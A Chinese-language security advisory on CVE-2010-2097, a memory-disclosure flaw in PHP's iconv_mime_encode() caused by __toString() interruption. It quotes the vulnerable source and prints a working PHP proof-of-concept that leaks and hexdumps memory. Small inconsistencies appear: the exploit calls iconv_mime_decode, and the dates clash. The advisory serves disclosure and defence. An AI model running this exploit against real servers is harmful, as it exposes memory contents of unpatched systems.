安全研究
安全漏洞
PHP iconv_mime_encode()函数中断处理信息泄露漏洞
发布日期:2009-05-18
更新日期:2010-05-20
受影响系统:
PHP PHP <= 5.3.2描述:
PHP PHP <= 5.2.13
CVE ID: CVE-2010-2097
PHP是广泛使用的通用目的脚本语言,特别适合于Web开发,可嵌入到HTML中。
PHP的iconv_mime_encode()函数中存在信息泄露漏洞:
PHP_FUNCTION(iconv_mime_encode)
{
...
if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "ss|a",
&field_name, &field_name_len, &field_value, &field_value_len,
&pref) == FAILURE) {
RETURN_FALSE;
}
...
err = _php_iconv_mime_encode(&retval, field_name, field_name_len,
field_value, field_value_len, line_len, lfchars, scheme_id,
out_charset, in_charset);
zend_parse_parameters()将三个参数检索到本地变量,前两个为字符串参数,第三个为数组。对于字符串参数,将字符串指针拷贝到本地变量导致了信息泄露的情况,可通过zend_parse_parameters()中的__toString()方式来实现。PHP开发人员所考虑的修复方式为终止__toString()攻击,但iconv_mime_encode()导致这种修复并不充分。修复要求检查参数解析与操作之间的代码:
if (zend_hash_find(Z_ARRVAL_P(pref), "line-break-chars", sizeof("line-break-chars"), (void **)&ppval) == SUCCESS) {
if (Z_TYPE_PP(ppval) != IS_STRING) {
tmp_zv = **ppval;
zval_copy_ctor(&tmp_zv);
convert_to_string(&tmp_zv);
lfchars = Z_STRVAL(tmp_zv);
tmp_zv_p = &tmp_zv;
} else {
lfchars = Z_STRVAL_PP(ppval);
}
}
iconv_mime_encode()的第三个参数为检查了某些key的数组,之后使用这些key配置编码器。其中的一个配置选项为定义换行符的字符串,调用了convert_to_string()来确保其确实为字符串。这再一次在数组中对对象调用了_toString(),因此中断仍可导致信息泄露。
<*来源:Stefan Esser (s.esser@ematters.de)
链接:http://php-security.org/2010/05/18/mops-2010-034-php-iconv_mime_encode-interruption-information-leak-vulnerability/index.html
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
class dummy
{
function __toString()
{
/* now the magic */
parse_str("xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx=1", $GLOBALS['var']);
return "";
}
}
/* Detect 32 vs 64 bit */
$i = 0x7fffffff;
$i++;
if (is_float($i)) {
$GLOBALS['var'] = str_repeat("A", 39);
} else {
$GLOBALS['var'] = str_repeat("A", 67);
}
/* Trigger the Code */
$x = iconv_mime_decode(&$GLOBALS['var'], 0, new dummy());
hexdump($x);
/* Helper function */
function hexdump($x)
{
$l = strlen($x);
$p = 0;
echo "Hexdump\n";
echo "-------\n";
while ($l > 16) {
echo sprintf("%08x: ",$p);
for ($i=0; $i<16; $i++) {
echo sprintf("%02X ", ord($x[$p+$i]));
}
echo " ";
for ($i=0; $i<16; $i++) {
$c = ord($x[$p+$i]);
echo ($c < 32 || $c > 127) ? '.' : chr($c);
}
$l-=16;
$p+=16;
echo "\n";
}
if ($l > 0)
echo sprintf("%08x: ",$p);
for ($i=0; $i<$l; $i++) {
echo sprintf("%02X ", ord($x[$p+$i]));
}
for ($i=0; $i<16-$l; $i++) { echo "-- "; }
echo " ";
for ($i=0; $i<$l; $i++) {
$c = ord($x[$p+$i]);
echo ($c < 32 || $c > 127) ? '.' : chr($c);
}
echo "\n";
}
?>
建议:
临时解决方法:
* 删除call time pass by reference功能。
厂商补丁:
PHP
---
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.php.net
浏览次数:2281
严重程度:0(网友投票)
绿盟科技给您安全的保障
